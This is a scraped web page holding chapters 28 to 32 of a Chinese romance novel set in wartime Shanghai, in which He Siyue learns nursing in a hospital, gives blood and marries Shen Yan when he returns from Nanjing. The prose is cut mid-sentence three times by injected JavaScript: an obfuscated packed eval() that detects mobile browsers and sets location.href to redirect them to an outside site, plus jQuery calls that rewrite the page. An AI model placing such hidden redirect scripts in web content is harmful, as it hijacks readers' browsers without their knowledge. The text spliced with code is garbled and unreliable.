$(''.inform'').remove(); $(''#content'').append('' 第二天，炮声稍微远了些，但依然能听见。林曼卿弄来两身朴素的布衣，又找了辆还能通行的黄包车，带着何思玥往沈氏商行去。 街道上到处都是瓦砾和废墟。被炸毁的房屋还在冒烟，街角躺着来不及收殓的尸体。何思玥别过脸，不敢看。 沈氏商行所在的街道还算完好，但大门紧闭。林曼卿用力敲门，许久，才有一个伙计小心翼翼地从门缝里探出头。 “杨律师在吗？”何思玥急问。 伙计认出她，赶紧开门：“何小姐！您没事吧？杨律师一直在找您！” 杨石泽从里面快步走出来，看见何思玥，长长松了口气：“谢天谢地，你平安无事。沈晏从南京发了十几封电报，问你下落。” “他在南京怎么样？”何思玥抓住他的手，“安全吗？能不能回来？” “他很安全，但回不来。”杨石泽神色凝重，“沪宁铁路断了，长江也被封锁了。他现在困在南京，和你困在上海一样。” 何思玥的心一点点凉下去。 “不过，”杨石泽从怀里取出一封信，“这是他昨天托人辗转送来的。说如果你平安，就交给你；如果……”他没说下去，但何思玥懂了。 她颤抖着手接过信。信封已经被揉皱了，上面还沾着不知是谁的血迹。 展开信纸，沈晏的字迹依旧工整，但看得出写得很急： 思玥：见字时，上海应已战火纷飞。我恨不能插翅飞回你身边，但路断了，江封了，我困在此处，如困兽般焦灼。 杨石泽会安排你离沪。无论去何处，先保平安。我答应你，战事稍缓，必不顾一切寻你。 记住：你是我沙漠里唯一的绿洲。只要绿洲还在，沙漠再广，我也能找到归路。 所以，好好活着。为我活着。 若此信到你手中，而我已不在…… 不，没有这个可能。我一定会找到你。一定。 等我，思玥。等我。 晏急字 腊月初八 信到这里戛然而止，最后几个字写得几乎力透纸背。 何思玥的眼泪大颗大颗地砸在信纸上。她紧紧攥着信纸，像攥着最后一根救命稻草。 “杨先生，”她抬起头，眼神却异常坚定，“我不离开上海。” “什么？”杨石泽和林曼卿都愣住了。 “我要在这里等他。”何思玥说，“如果离开了，他回来找不到我，怎么办？” “可是上海随时可能沦陷……” “那就沦陷吧。”何思玥的声音很轻，却有种破釜沉舟的决绝，“他在信里说，只要绿洲还在，沙漠再广，他也能找到归路。那我要做的，就是让这片绿洲，一直在原地等他。” 她看着窗外的硝烟，看着这个正在燃烧的城市，一字一句地说：“我会活下去。在这里活下去。等到他回来。” 林曼卿和杨石泽对视一眼，都从对方眼里看到了震惊，也看到了某种敬佩。 这个看似柔弱的女子，在战火纷飞中，选择了最艰难的一条路——不逃，不等，而是坚守。 坚守一个承诺，坚守一份爱情，坚守一片也许永远等不到归人的绿洲。 “好。”杨石泽终于点头，“我会安排，让你在租界最安全的地方住下。沈晏那边，我会想办法继续联系。” “谢谢。”何思玥轻声说。 何思玥握紧沈晏的信，看向东南方——那是南京的方向。 沈晏，我会在这里等你。 29. 第 29 章 炮火暂歇的那个清晨，上海像一座巨大的、流血的伤口。 何思玥走出藏身的小楼，第一次真正看清战争后的城市。 街道上到处都是瓦砾和废墟，烧焦的木梁横七竖八地插在断壁残垣间。空气中弥漫着硝烟、血腥和某种难以形容的腐臭。 她小心翼翼地踩着碎砖往前走，布鞋很快就沾满了黑红的泥泞。转过街角，眼前的景象让她瞬间僵住了—— 十几具尸体横七竖八地躺在街心，有的穿着军装，有的只是普通百姓的衣着。 血已经凝固了，在青石板路上结成深褐色的痂。一个老人仰面躺着，眼睛还睁着，空洞地望着灰蒙蒙的天空。 何思玥捂住嘴，强压下翻涌的恶心。她正要转身，忽然听见微弱的哭声。 “娘……娘你醒醒……” 循声望去，街边一处半塌的屋檐下，一个约莫五六岁的男孩跪在一个妇人身边。 妇人腹部有一道深深的伤口，草草包扎的布条已经被血浸透。男孩用小手推着母亲的肩膀，哭声嘶哑而绝望。 何思玥快步走过去。 男孩看见她，像抓住救命稻草：“姐姐，救救我娘……她流了好多血……” 她蹲下身，检查妇人的伤势。伤口很深，应该是弹片划的，边缘已经有些感染。她身上带的只有一小卷纱布和一点消毒药水——这是杨石泽给她准备的应急包。 “别怕，”何思玥尽量让自己的声音平稳，“姐姐帮你娘包扎。”她小心地解开原来的布条，用消毒药水清洗伤口。 妇人痛得抽搐了一下，但依然昏迷不醒。何思玥的手在抖——她从未处理过这么严重的伤，只能在记忆中搜索有限的医学知识。 “按住这里。”她对男孩说，示意他按住伤口上方止血。 男孩很听话，小手用力按着，虽然还在哭，但眼神里有种超越年龄的坚毅。 何思玥用干净的纱布重新包扎，尽量扎得紧些，但也不敢太紧——怕影响血液循环。做完这一切，她已经满头大汗。 “你爹呢？”她问男孩。 男孩摇头，眼泪又涌出来：“爹去打仗了……没回来……” 何思玥的心揪紧了。她环顾四周——这条街上，像这对母子一样需要帮助的人，还有多少？ 不远处，一个老妇人抱着已经僵硬的孩子，眼神空洞地坐着；几个受伤的人靠在墙边，伤口只是简单裹着，有的已经化脓；更远的地方，有人在废墟里翻找，也许是在找亲人，也许是在找还能用的东西。 而她，只能做最简单的包扎。 面对那些严重的伤，那些需要手术的伤，那些感染发热的伤，她束手无策。 这种无力感，比炮火更让她窒息。 “姐姐，”男孩小声问，“我娘会死吗？” 何思玥看着他黑亮的眼睛，那里面有恐惧，有希望，有一种全然信任的依赖。她咬了咬牙，说：“不会。姐姐不会让她死。” 这话说得她自己都没底气，但男孩信了。他用力点头，小手还紧紧按着母亲的伤口。 何思玥站起身，望向这片满目疮痍的街道。硝烟还未散尽，远处还有零星的枪声。这个曾经繁华的都市，如今成了人间地狱。 而她，不能只是看着。 她想起沈晏信里的话：“你是我沙漠里唯一的绿洲。”可现在，整片沙漠都在燃烧，绿洲又能救几个人？ 不，不够。远远不够。 她要做的，不是守着一片绿洲等人归来。是要让这片绿洲，长出治伤的草药，长出庇荫的大树，长出能救人性命的力量。 她走回藏身的小楼，对林曼卿说：“林姐，我要学医。” 林曼卿正在整理所剩无几的物资，闻言抬起头：“学医？现在？” “现在。”何思玥眼神坚定，“我看到街上的伤者了。很多人只是受了轻伤，但因为得不到及时救治，感染，恶化，最后……本可以活下来的。” 她顿了顿，声音更低了些：“沈晏不知道什么时候能回来。在他回来之前，我不能只是等。我要做点什么，救那些还能救的人。” 林曼卿看着她，这个曾经在私塾教书的柔弱女子，这个在杂志社写文章的文艺青年，此刻眼里有种灼热的光——那是经历过生死、见过苦难后，淬炼出的决心。 “好。”林曼卿点头，“公共租界里还有几家医院在运转，虽然也缺医少药，但至少还有医生。我去打听，看谁能教你。” “谢谢。”何思玥说。 当天下午，林曼卿就带回来消息：租界西区的广慈医院还在接收伤患，一位姓陆的老医生愿意带徒弟。 “陆医生说，现在学医很苦，很危险，而且……”林曼卿犹豫了一下，“而且你可能要直接上手处理伤者，甚至……甚至要面对很多救不活的人。” “我知道。”何思玥平静地说，“我已经见过救不活的人了。” 她想起街上那些尸体，想起那个抱着死婴的老妇人，想起男孩问“我娘会死吗”时眼里的恐惧。 “带我去见陆医生吧。” 广慈医院里挤满了伤患。走廊里都摆着临时床位，空气里弥漫着消毒水和血腥混合的味道。呻吟声、哭泣声、医生护士急促的脚步声，交织成一种令人心碎的背景音。 陆医生月末五十，头发花白，戴着厚厚的眼镜，白大褂上沾着血迹。他正在给一个伤者缝合伤口，头也不抬地说： “现在学医，可没有课本，没有教室。你要学的第一课，就是看着。” 何思玥站在他身后，看着那血肉模糊的伤口，看着针线穿过皮肉，看着伤者因疼痛而抽搐的身体。她的胃在翻腾，但强迫自己看下去。 “不怕吗？”陆医生缝完最后一针，才抬头看她。 “不怕。”何思玥老实说，“但还是要学。” 陆医生点点头，递给她一副手套：“那就从最简单地开始。那边有几个轻伤患者需要换药，你去。记住：先洗手，戴手套；清洗伤口要从中间往周围；包扎不能太紧也不能太松。” 何思玥接过手套，走向陆医生指的方向。 那里躺着三个伤者：一个手臂被弹片划伤的青年，一个腿上有烧伤的中年妇女，还有一个额头磕破的老者。 她深吸一口气，戴上手套，开始工作。 第一个青年很配合，还朝她笑了笑：“小姐是新来的？以前没见过。” “嗯，新来的。”何思玥小心地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011777|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清洗他的伤口，“疼的话告诉我。” “不疼，比子弹打进来时好多了。”青年笑着说，但额头有细密的汗珠。 何思玥的手很稳——这是她画画时练出来的。清洗，上药，包扎，每一步都按陆医生教的做。包扎完，青年活动了一下手臂：“包得真好，谢谢小姐。” “不客气。”何思玥说，心里有小小的成就感。 第二个是那位中年妇女。烧伤很疼，她一直在呻吟。何思玥尽量放轻动作，一边包扎一边轻声安慰：“马上就好了，再忍一下。” 妇女抓住她的手，力气很大：“姑娘……我家没了，孩子也没了……我就这条腿了，你要保住它啊……” 何思玥的眼眶热了。她用力点头：“我会的。一定保住。” 第三个老者已经昏睡过去。额头的伤口不大，但很深。何思玥清洗时，老人忽然睁开眼睛，浑浊的眼睛看着她，喃喃道：“阿英……是你吗阿英……” “我不是阿英。”何思玥轻声说，“我是护士，给您换药。” 老人看了她很久，才慢慢闭上眼睛，一滴眼泪从眼角滑落。 换完药，何思玥已经累得腰酸背痛。但她看着那三个伤者——他们的伤口被妥善处理了，疼痛减轻了，至少今晚能睡个好觉——忽然觉得，所有的累都值得。 陆医生走过来，检查了她的工作，点点头：“做得不错。明天早点来，我教你清创和缝合。” “谢谢陆医生。”何思玥真心实意地说。 走出医院时，天已经黑了。 炮火暂歇的夜晚，上海显出诡异的宁静。远处还有火光，但近处的街道上，有人开始收拾废墟，有人在寻找失散的亲人，还有人在街角点起蜡烛，祭奠逝者。 何思玥走在回住处的路上，忽然想起沈晏。他现在在做什么？是不是也在战火中？安不安全？ 她握紧拳头，对自己说：沈晏，你要平安。 回到沈晏的公寓的时候，林曼卿正点着油灯整理东西。看见何思玥回来，她松了口气：“还以为你今天要住在医院了。” “陆医生说今天先熟悉环境，明天正式学。”何思玥脱下沾了血迹的外套，在水盆里仔细洗手——这是陆医生强调的第一条规矩：接触伤者前后，必须洗手。 水很凉，但能洗去血腥和消毒水的味道。 何思玥看着自己的手——这双手曾经握过画笔，握过钢笔，握过沈晏的手，现在要学着握手术刀，握止血钳，握更多伤者求生的手。 “今天怎么样？”林曼卿递给她一块干毛巾。 “还好。”何思玥擦干手，“帮三个伤者换了药。有一个烧伤的妇女，孩子没了，家也没了，只剩一条受伤的腿……” 她没有继续说下去。林曼卿也沉默了。这样的故事，这些天她们听了太多。 “吃饭吧。”林曼卿端出一小碗粥，还有半块硬饼，“今天只弄到这些。” 粥很稀，饼很硬，但何思玥吃得很认真。她知道，在这样的时局下，能有口吃的已经不容易。 饭后，她点上蜡烛，在摇曳的烛光下开始写日记——这是她最近养成的习惯。把每天看到的、经历的、想到的记下来，等沈晏回来，给他看。 30. 第 30 章 腊月十五，阴。 今日始学医。陆医生严肃，但肯教。见到伤者三人：一青年士兵，乐观，言笑晏晏；一中年妇人，失家丧子，唯余伤腿；一老者，神志不清，唤“阿英”。 包扎时手稳，心却不稳。见血仍会惧，闻呻吟仍会颤。但陆医生说，这是人之常情，医生也是人，会怕，会痛，会不忍。重要的是，怕过痛过不忍过，依然要拿起刀剪，去做该做的事。 思及此，忽有所悟。从前在私塾教书，总想教女孩们“看见光”。而今才知，真正的光，不是在太平盛世里吟风弄月的光，是在黑暗里依然要摸索前行、在血肉模糊中依然要寻找生机、在绝望里依然要相信明天的那点微光。 沈晏，若你此刻在我身边，定会笑我又说这些酸话。但这就是我此刻所想。 上海仍在燃烧，但医院里的灯还亮着。伤者还在呻吟，但还有人在救治。这就是希望吧——不是宏大的、虚幻的希望，是一个个具体的人，在为一寸一寸的生命而努力的希望。 我会好好学医，好好救人，好好等你。 你要平安。一定。 写到这里，她停住笔，看向窗外。夜色深沉，远处偶尔有火光一闪，不知是炮火还是谁家在烧东西取暖。 她想起白天那个问她“我娘会死吗”的男孩。后来她把母子俩安置在医院临时收容处，陆医生看过妇人的伤势，说只要不感染，就能活。 “能活”——这两个字，在和平年代多么平常，在此时此地，却重如千钧。 何思玥吹灭蜡烛，躺到简陋的床铺上。 被子很薄，夜很冷，但她心里有团火在烧——那是一种强烈的、想要做点什么的冲动。 从前她总觉得，改变世界需要宏大的理想，需要伟大的事业。 现在她明白了，改变世界，可以从救一个人开始。从清洗一个伤口开始，从包扎一条断腿开始，从告诉一个孩子“你娘不会死”开始。 夜半时分，她忽然醒了。不是被炮火惊醒，而是做了个梦。 梦见沈晏站在一片硝烟里，朝她伸出手。她想跑过去，但脚下全是伤者，她一个个地扶，一个个地包扎，怎么也走不到他身边。 最后沈晏笑了，朝她挥挥手，转身走进硝烟深处。 “沈晏！”她喊出一声，惊醒过来。 房间里一片漆黑，只有窗外透进来一点月光。她坐起身，抱着膝盖，眼泪无声地流下来。 不是难过，而是……是一种很深很深的思念，混合着担忧、恐惧，还有某种近乎绝望的期盼。 “你要活着。”她对着虚空，轻声说，“沈晏，你一定要活着。你说过要回来娶我，要和我过一辈子。你不能食言。” 窗外传来猫头鹰的叫声，凄厉而孤独。 何思玥擦干眼泪，重新躺下。这次她强迫自己闭上眼睛，强迫自己睡觉——因为明天还要去医院，还要学习，还要救人。 她需要体力，需要清醒的头脑，需要一双稳定的手。 而这一切，都是为了活着。活着等沈晏回来，活着救更多人，活着看到战争结束的那一天。 不知过了多久，她终于睡着了。这一次没有做梦，只是一片深沉的、疲惫的黑暗。 清晨，她是被炮声惊醒的。 战争又开始了。 何思玥立刻起身，快速洗漱，换上最结实的一套衣服——深蓝色布衣布裤，头发紧紧绾在脑后。林曼卿已经准备好简单的早餐：一块饼，一杯热水。 “今天还能去医院吗？”林曼卿担忧地看着窗外——炮声比昨天更近了。 “能。”何思玥咬了口饼，“陆医生说，越是这种时候，医生越不能离开，我一定要去帮忙，哪怕只是做一些微不足道的小事。” 她吃完早饭，背上一个小布包——里面是简单的医疗用品，还有她昨天写的日记。 走出门时，林曼卿叫住她：“思玥，小心。” “我会的。”何思玥回头笑了笑，“林姐也是。” 街道上比昨天更乱了。逃难的人更多，伤者也更多。 何思玥小心地避开人群，快步往医院走。经过昨天那对母子的街角时，她特意看了一眼——那里已经空了，不知是转移了，还是…… 她不敢深想，加快脚步。 到医院时，陆医生已经在手术室了。 一个护士看见她，急匆匆地说：“何小姐，快来帮忙！今天送来了十几个重伤的！” 何思玥立刻放下布包，洗手，戴手套，走进临时手术室。 眼前的景象让她倒吸一口凉气——手术台上躺着一个血肉模糊的人，胸口中弹，血不停地涌出来。陆医生正在试图止血，但血太多了，根本止不住。 “血压在掉！”另一个护士喊道。 “输血！快！”陆医生头也不抬。 但血库早就空了。何思玥看着那个伤者——很年轻，可能才二十岁，眼睛还睁着，但已经没了神采。 “我来。”她忽然说，“抽我的血。我是O型，万能输血者。” 陆医生抬头看了她一眼，眼神复杂：“你确定？” “确定。”何思玥已经挽起袖子。 抽血很疼，但她咬着牙没出声。看着自己的血一点点流进血袋，再输进那个年轻伤者的身体，她忽然有种奇异的连接感——她的血，要救这个陌生人的命。 输完血，她有些头晕，但坚持着帮忙。陆医生终于止住了血，开始取弹片。手术进行了两个多小时，结束时，何思玥几乎站不稳。 “去休息。”陆医生对她说，“你今天已经做得很好了。” “他……能活吗？”何思玥看着那个还在昏迷的伤者。 “看造化。”陆医生摘下沾满血的手套，“我们尽了人事，剩下的，听天命。” 何思玥走出手术室，在走廊的长椅上坐下。头晕得厉害，但她心里是平静的。 她救了一个人。或者说，她试着救了一个人。 这就是她现在能做的所有事——在战争的血腥里，在死亡的阴影下，一点一点地，救那些还能救的人。 而每救一个人，她就离沈晏近一点——因为她相信，沈晏如果知道她在做什么，一定会为她骄傲。 窗外，炮声还在继续。但医院里的灯，依然亮着。 何思玥靠在墙上，闭上眼睛。 她在心里默默地说：沈晏，我在救人。就像你曾经救我那样，所以你要活着，一定要活着。 何思玥是被阳光刺醒的。 不是炮火，是真实的、温暖的阳光，透过窗帘缝隙照在她脸上。 她迷迷糊糊地睁开眼，看见窗台上那盆枯死的茉莉竟然冒出了新芽——翠绿的、怯生生的两片嫩叶，在晨光里微微颤动。 她愣了愣，以为自己还在做梦。战争还没结束，炮声呢？血腥味呢？ 然后她感觉到手被握着。很暖，很稳的触感。她转过头，看见床边坐着一个人。 深灰色西装有些皱，头发也乱了，下巴上有青色的胡茬，眼睛里有浓重的疲惫，但眼神……眼神是她熟悉的那种温柔，像春日的湖水，像夜里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014335|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星光。 沈晏。 何思玥眨了眨眼，又眨了眨眼。那人还在，不是幻觉。 “我……”她开口，声音嘶哑，“我是不是还没醒？” 沈晏笑了。那笑容很疲惫，却真实得让何思玥眼眶瞬间发热。他握紧她的手，力道很大，大到有些疼——但这疼也是真实的。 “醒了。”他说，声音比她的更哑，“思玥，我回来了。” 何思玥怔怔地看着他，看了很久。然后她伸出手，指尖轻轻碰了碰他的脸——有温度，有胡茬的粗糙感，还有……还有一滴眼泪，从她指尖滑落。 是她的眼泪。不知什么时候流下来的。 “沈晏……”她终于叫出他的名字，声音破碎得不成样子，“真的是你？” “是我。”沈晏低头，额头轻轻抵着她的额头，“我回来了，思玥。对不起，让你等这么久。” 何思玥的眼泪决堤了。 她不是哭，是那种积压了太久太久的情绪，终于找到了出口。 她抱住沈晏，把脸埋在他肩头，肩膀剧烈地颤抖，却发不出声音——所有的哭声都堵在喉咙里，变成无声的、撕心裂肺的抽噎。 沈晏紧紧抱着她，手臂因为用力而微微发抖。他能感觉到她的瘦——比离开时瘦了太多，骨头硌着他，像一片随时会碎的叶子。 “对不起，”他一遍遍地说，“对不起，思玥，对不起……” 何思玥哭了好久，才终于找回声音。她抬起头，泪眼模糊地看着他：“你怎么……怎么回来的？不是说路断了，江封了……” “走回来的。”沈晏说得轻描淡写，“火车不通，就走公路。公路断了，就走山路。江面封锁，就找小船偷渡。” 他抚着她的头发：“一路上看到太多……死人，废墟，逃难的人。每一次看到，我就想，我的思玥还在上海，还在等我。这个念头，支撑着我走完了所有路。” 何思玥的心揪紧了。她能想象这一路有多难——烽火连天，兵荒马乱，他从南京到上海，这两百多里路，是用命走过来的。 “你……”她想问“你受伤了吗”，但话到嘴边又咽回去。不用问，看他眼下的青黑，看他消瘦的脸颊，看他手上新增的伤疤，就知道这一路经历了什么。 “我没事。”沈晏像是知道她在想什么，“倒是你……”他的目光落在她手臂上——那里有一小块淤青，是昨天抽血留下的针眼，“杨石泽都告诉我了。你在医院帮忙，你还……还给人输血。” 他的声音哽了一下：“思玥，你怎么敢……” “我敢。”何思玥看着他，眼神清澈而坚定，“因为我要活着等你回来。而活着，不只是呼吸、心跳，是……是做点什么，救点什么，证明这个世界还有值得守护的东西。” 沈晏怔住了。他看着她，这个曾经需要他保护、需要他浇灌的绿洲，此刻眼里有一种他从未见过的光——不是温室里的柔光，是经历过风霜雨雪、在废墟上依然倔强生长的、坚韧的光。 “你变了。”他轻声说。 “变好了还是变坏了？”何思玥问。 “变……”沈晏想了想，“变得更像你了。更像那个我第一眼看见，就知道不一样的何思玥。” 他低头吻了吻她的额头：“你变得更加的坚毅，褪去了几分稚嫩，更加的勇敢，让我更加着迷。” 何思玥的眼泪又涌上来，但这次是温暖的泪。 她靠回他怀里，听着他平稳的心跳，闻着他身上风尘仆仆却依然熟悉的气息，忽然觉得——世界完整了。 31. 第 31 章 那些等待的日夜，那些炮火中的恐惧，那些救治伤者时的无助，在这一刻都有了意义。 因为它们让她成为更好的自己，让她的等待，不只是等待，是成长，是蜕变，是准备好迎接重逢的、更强大的自己。 “沈晏，”她轻声说，“我们结婚吧。” 沈晏的身体僵了僵，然后抱紧她：“不是说等我回来再……” “不等了。”何思玥抬起头，看着他，“战争不知道什么时候结束，明天不知道会发生什么。我不想再等了。今天，就今天，我们去登记。” 她的眼神里有种破釜沉舟的决绝：“我不要盛大的婚礼，不要宾客满堂，只要一张纸，证明我们是夫妻。证明无论生死，无论聚散，我们都是彼此的人。” 沈晏看着她，看了很久。然后他笑了，笑容里有泪光。 “好。”他说，“今天就去。” 他们真的去了。在战火暂歇的上海，在满目疮痍的街头，找到了一间还在办公的民政局。 工作人员是个头发花白的老先生，看见他们来登记，愣了愣：“现在……结婚？” “对，就是现在。”沈晏握着何思玥的手，“请给我们办手续。” 老先生看了看他们紧紧相握的手，又看了看窗外尚未散尽的硝烟，叹了口气，还是拿出了登记表。 手续很简单。签字，盖章，两张薄薄的结婚证。没有仪式，没有祝福，只有窗外偶尔传来的零星枪声，提醒着他们所处的时代。 但何思玥拿着那张纸，觉得比任何珠宝都珍贵。 走出民政局，沈晏忽然说：“等等。” 他跑进路边一家还没完全毁掉的花店——其实已经不能叫花店了，货架倒了，花都枯了，但角落里还有几枝残存的白色百合。 他买下那几枝百合，虽然有些蔫了，但还散发着淡淡的香气。他递给何思玥：“新婚快乐，沈太太。” 何思玥接过花，眼泪又掉下来，但嘴角是扬着的：“谢谢，沈先生。” 他们手牵着手，走在回住处的路上。街道依然破败，废墟依然触目惊心，但阳光很好，照在身上暖洋洋的。 “接下来，”沈晏说，“我们要做什么？” 何思玥想了想：“回医院。今天还有伤者要处理。” 沈晏愣了愣，然后笑了：“好，我陪你去。” “你不休息吗？你才刚回来……” “不休息。”沈晏摇头，“你在哪里，我就在哪里。你要救人，我就帮你救人。” 他们真的去了医院。陆医生看见沈晏，挑了挑眉：“这位是……” “我丈夫。”何思玥说得自然。 陆医生点点头，没多问，只递给她一副手套：“今天有几个骨折的要处理，你来帮忙固定。” 何思玥戴上手套，投入到工作中。沈晏就在一旁看着——看她清洗伤口时的专注，看她固定夹板时的沉稳，看她安慰伤者时的温柔。 沈晏在医院也没闲着。 他观察了一会儿，径直走向陆医生：“有什么我能帮忙的？” 陆医生正在给一个伤者缝合，头也不抬：“会包扎吗？” “不会，但可以学。” 陆医生这才抬眼看他——这个穿着皱巴巴西装的男人，手上戴着婚戒，眼神里有种商人的精明，也有种近乎固执的认真。 “那从抬担架开始吧。”陆医生指了指走廊那头，“新送来两个重伤的，需要抬到手术室。” 沈晏二话不说，脱下西装外套，挽起衬衫袖子，跟着护士去了。 担架很沉，上面的伤者呻吟着，血从临时包扎的布条下渗出来，滴在地上。 沈晏稳稳地抬着，脚步很快但很稳——这是他多年经商练出来的，再重的货物，也要稳妥送达。 接下来的几天，沈晏成了医院里最特别的义工。他不懂医术，但有力气，有脑子，更有一股狠劲——那种不把事情做好绝不罢休的劲头。 何思玥教他最简单的包扎和消毒。他学得很认真，手指虽然不像她那样灵巧，但很稳，每个步骤都一丝不苟。 “这里要再紧一点。”何思玥调整他包扎的绷带，“但不能太紧，会影响血液循环。” 沈晏点头，拆开重来。第三次，终于包得符合标准。 “沈先生学得很快。”旁边的护士笑着说。 “是我夫人教得好。”沈晏看向何思玥，眼神温柔。 何思玥脸微红，低头继续处理下一个伤者。 沈晏不仅学包扎，还主动承担了医院的杂务——搬运药品，整理器械，甚至修理坏掉的病床。他有一双商人的眼睛，总能发现哪里需要改进。 “药品摆放太乱，紧急时不好找。”第三天，他对陆医生说，“我重新整理了一下，按类别和紧急程度分类，贴上标签。” 陆医生去看了一眼，果然井井有条。“你以前是做什么的？” “做生意的。”沈晏说得简单。 “难怪。”陆医生点点头，“继续。” 战事进入胶着状态，送来的伤者越来越多。医院里床位不够，走廊里都躺满了人。药品短缺，纱布和消毒水总是不够用。 这天，何思玥正在给一个腿部中弹的士兵取弹片——这是陆医生第一次让她独立操作小手术。她手很稳，但额头上全是汗。 沈晏站在她身边，按照她的指示递器械：止血钳、镊子、纱布……每一样都准确无误。 弹片取出来了，何思玥开始缝合。针线穿过皮肉，她的手在微微颤抖——不是害怕，是累。她已经连续工作了六个小时。 “休息一下。”沈晏轻声说。 “还有三针。”何思玥摇头，继续缝合。 最后一针打完，剪线，包扎。做完这一切，她几乎虚脱，沈晏及时扶住她。 “去喝口水。”他说，声音不容反驳。 何思玥这才发现自己渴得厉害。她走到休息室，沈晏已经倒好水递过来。水温刚好，不烫也不凉。 “你怎么知道……”她问。 “我一直在看你。”沈晏说，“看你什么时候该喝水，什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018831|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候该休息。” 何思玥的眼眶热了。她低下头喝水，掩饰自己的情绪。 休息室外传来喧哗声。一个护士跑进来：“何医生，陆医生让您赶紧去手术室！送来一个重伤的，胸口中弹，大出血！” 何思玥立刻放下杯子，快步走向手术室。沈晏跟在她身后。 手术台上躺着一个年轻人，最多二十岁，脸色苍白如纸，胸前的伤口汩汩冒血。陆医生正在紧急止血，但血根本止不住。 “需要输血！”陆医生喊道，“但血库已经空了！” “抽我的。”沈晏上前一步，“我是O型。” 何思玥猛地转头看他：“你才刚回来，身体还没恢复……” “我没事。”沈晏已经开始挽袖子，“救人要紧。” 护士迟疑地看向陆医生。陆医生看了沈晏一眼，点头：“抽。” 针扎进沈晏的血管时，他眉头都没皱一下。何思玥看着他的血一点点流进血袋，心里像被什么揪紧了。 这是她的丈夫，她刚刚失而复得的丈夫，现在在为一个陌生人献血。 输完血，沈晏脸色有些发白，但坚持不肯去休息。“我就在这儿等着。”他在手术室外的长椅上坐下。 手术进行了三个小时。何思玥作为助手，全程参与。当她终于走出手术室时，看见沈晏还坐在那里，背挺得笔直，但眼睛闭着，显然累极了。 “他怎么样了？”沈晏立刻睁开眼。 “暂时稳定了。”何思玥在他身边坐下，“看今晚能不能熬过去。” 沈晏点点头，握住她的手。两人都没再说话，只是静静地坐着，感受着彼此的体温和心跳。 走廊里很安静，只有远处伤者的呻吟和护士轻轻的脚步声。窗外的天色渐渐暗下来，炮声似乎也远了些。 “沈晏，”何思玥忽然开口，“谢谢你。” “谢什么？” “谢谢你回来。”她靠在他肩上，“谢谢你陪我救人，谢谢你……还是你。” 沈晏揽住她的肩：“思玥，该说谢谢的是我。谢谢你活着，谢谢你等我，谢谢你……让我看到了一个更好的世界。” 他顿了顿：“你知道吗，在南京的时候，我见过太多人性的黑暗——趁火打劫的，出卖同胞的，为了一袋米就能杀人的。有时候我觉得，这世道没救了，人也没救了。” “可是回到上海，看见你在医院里，为一个又一个陌生人清洗伤口，包扎，输血……看见那些伤者虽然痛苦，但还咬着牙想活下去；看见护士们明明自己也害怕，但还是坚守岗位……我就想，也许这世道还有救。因为还有你这样的人，在努力地、一点一点地，修补这个破碎的世界。” 何思玥的眼泪掉下来，滴在沈晏的衬衫上。 “我没有那么伟大。”她轻声说，“我只是……只是不想眼睁睁看着人死。就像当初你不想眼睁睁看着我死一样。” “这就够了。”沈晏说，“不想眼睁睁看着人死——这就是最珍贵的人性。而守护这份人性，就是我们该做的事。” 32. 第 32 章 深夜，医院的会议室里烟雾缭绕。 陆医生、何思玥、沈晏，还有几个骨干护士围坐在一张破旧的木桌旁。桌上摊着几张纸，上面列着医院所剩无几的药品清单. “情况就是这样。”陆医生的声音疲惫不堪，“如果明天还有重伤员送来，我们可能……连最基本的清创都做不了。” 房间里一片死寂。窗外的炮声又近了，像野兽的低吼，提醒着他们时间的紧迫。 一个年轻护士小声啜泣起来：“今天那个腹部中弹的……如果有抗生素，也许能活……” 何思玥握紧了拳头。 她想起那个伤者——才十九岁，是个学生兵，临死前还问她：“姐姐，仗什么时候能打完？我想回家读书……” “沈先生从南京带回来的药，已经用完了。”陆医生看向沈晏，“你还有办法吗？” 所有人的目光都集中在沈晏身上。 这个商人出身的男人，这几天已经用他的行动赢得了大家的尊重——他不仅干活卖力，更在关键时刻拿出了珍贵的药品。 沈晏沉默着，手指在桌面上轻轻敲打。这是他思考时的习惯动作。 “药品我有办法。”他终于开口，“但我需要时间。从上海到苏州，再到南京，有一条商路还在运转，虽然风险很大，但能运进药品。” “需要多久？”陆医生问。 “最快也要五天。”沈晏说，“而且……需要钱。大量的钱。现在药品是战略物资，黑市价格是战前的十倍，甚至二十倍。” “钱我有。”陆医生毫不犹豫，“医院还有些积蓄，虽然不多……” “不用。”沈晏摇头，“这笔钱我来出。但不是无偿的——等战争结束，医院要还我。利息按银行最低利率算。” 他说得平静，像在谈一笔再普通不过的生意。但所有人都听懂了——他这是要自己垫资，为医院争取救命的时间。 